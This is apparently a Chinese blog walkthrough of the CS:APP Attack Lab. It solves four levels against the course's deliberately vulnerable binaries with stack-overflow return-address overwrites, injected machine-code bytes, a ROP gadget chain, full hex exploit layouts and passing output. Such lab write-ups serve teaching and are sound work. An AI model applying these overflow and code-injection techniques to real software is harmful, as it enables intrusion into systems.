attack lab

Level1

在getbuf 设置断点
输入 12345678901234567890
使用 info reg 查看寄存器
在这里插入图片描述
rsp此时指向的内存地址 存储的应该是"1234 5678" 相对应的ascii 应该是
0x31 0x32 0x33 0x34 0x35 0x36 0x37 0x38
使用x /48x $rsp 验证一下
(字符串是顺序存放 如果存放的"12345678"是Int类型 这里内存应该是倒序的)
在这里插入图片描述

然后 $rsp+0x28 应该存的是 返回地址
在这里插入图片描述
即应该是 小端存放 0x76 0x19 0x40 0x00 0x00 0x00 0x00 0x00
在这里插入图片描述
那这一题就很简单了 输入字符串 然后把返回地址替换成touch1()的地址
在这里插入图片描述
就是 0x004017c0 但是要倒序放入 所以是 c0 17 40 00 00 00 00 00
设计的内存布局应该是这样
前面 5行(每行 16个) 无所谓
在这里插入图片描述
然后

./hex2raw <t1> touch1 

生成字节码作为输入

./ctarget -qi touch1 

在这里插入图片描述

Level 2

思路
1.将需要注入的代码转换成字节码 作为getbuf的输入
2.注入的代码主要是 将cookie 存入rdi作为输入 然后把touch2的执行地址压栈 ret
3.getbuf()的栈帧返回地址改成 注入的代码的 的执行地址 也就是rsp-0x28

注入的代码:
vim 2.s

movq $0x59b997fa,%rdi  //把cookie 存入rdi作为参数传递
pushq $0x004017ec  //touch2的地址压栈
retq

gcc -c 2.s -o 2.o
objdump -d 2.o > 2.out
2.out:
所以 指令的机器码是

48 c7 c7 fa 97 b9 59 	//mov    $0x59b997fa,%rdi
68 ec 17 40 00       	//pushq  $0x4017ec
c3                           //retq

所以需要插入的字节码内存布局应该是这样的

48 c7 c7 fa  97 b9 59 68
ec 17 40 00  c3 00 00 00
00 00 00 00  00 00 00 00
00 00 00 00  00 00 00 00
00 00 00 00  00 00 00 00
78 dc 61 55  00 00 00 00

在这里插入图片描述
然后

  ./hex2raw <2.in> touch2
root@ubuntu-s-2vcpu-4gb-sfo2-01:~/csapp/target1# ./ctarget -qi touch2
Cookie: 0x59b997fa
Touch2!: You called touch2(0x59b997fa)
Valid solution for level 2 with target ctarget
PASS: Would have posted the following:
	user id	bovik
	course	15213-f15
	lab	attacklab
	result	1:PASS:0xffffffff:ctarget:2:48 C7 C7 FA 97 B9 59 68 EC 17 40 00 C3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 DC 61 55 00 00 00 00

level 3

cookie:0x59b997fa 字符串表示就是 35 39 62 39 39 37 66 61 00
思路
就是按level 2的做 ,但是要注意的就是 要保护cookie 的存放的位置.因为 touch3 调用了hexmatch.这个函数会申请较大的空间也就是 rsp会往低地址延申很多.为了保护cookie字符串,所以我把cookie字符串放到了text()函数的栈帧里面.这样无论hexmatch怎么弄都不会影响到text()函数的栈帧(因为无论怎么调用只会让getbuf时的rsp做减法,也就是只会影响比rsp低的地址之后的空间)

3.in

    48 c7 c7 a8  dc 61 55 68
    fa 18 40 00  c3 00 00 00
    00 00 00 00  00 00 00 00
    00 00 00 00  00 00 00 00
    00 00 00 00  00 00 00 00
    78 dc 61 55  00 00 00 00
    35 39 62 39  39 37 66 61
    00 00 00 00  00 00 00 00
    
./hex2raw <3.in> touch3

在这里插入图片描述

level 4

思路:

在这里插入图片描述
所以对于黄色区域 我们直接用0(什么都可以)填充了 让 输入的 溢出到text()的栈帧区域 ,也就可执行的区域,然后不断的通过跳转到这个rtarget可执行的区域.利用这些区域的指令 进行我们要做的事情

在这里插入图片描述
那么可执行区域要怎么设计呢
先搞清楚我们需要使用什么指令完成操作
1.把cookie 放进rdi作为参数传递
2.跳转到touch2
3.ret
代码就是

movq $0x59b997fa,%rdi
pushq $0x4017ec
ret

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
1.先把数字放进某个寄存器.那这就要用到popq了 根据表B,我们需要找到 存有58 -5f 这个范围指令的内存地址,然后后面还得有个c3(retq,用来跳转到下一个)
在这里插入图片描述

58 popq %rax
90 nop
c3 retq

所以我们就确定了第一个执行的地址是 4019a7+4 =4019ab
同时要把cookie放进去 以pop出来
2.把rax 存到 rdi 作为参数
也就是mov $rax ,$rdi 根据表A 我们要找到存放48 89 c7指令的内存地址
在这里插入图片描述
地址是 4019a2
3.touch2的地址 ec 17 40 00
内存布局就是
在这里插入图片描述
要搞明白这个原理 要清晰的知道rsp 和 rip 的变化
retq 约等于 执行了 popq $rip
popq 约等于 执行了 mov $rsp,$ 和 $rsp+8

  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值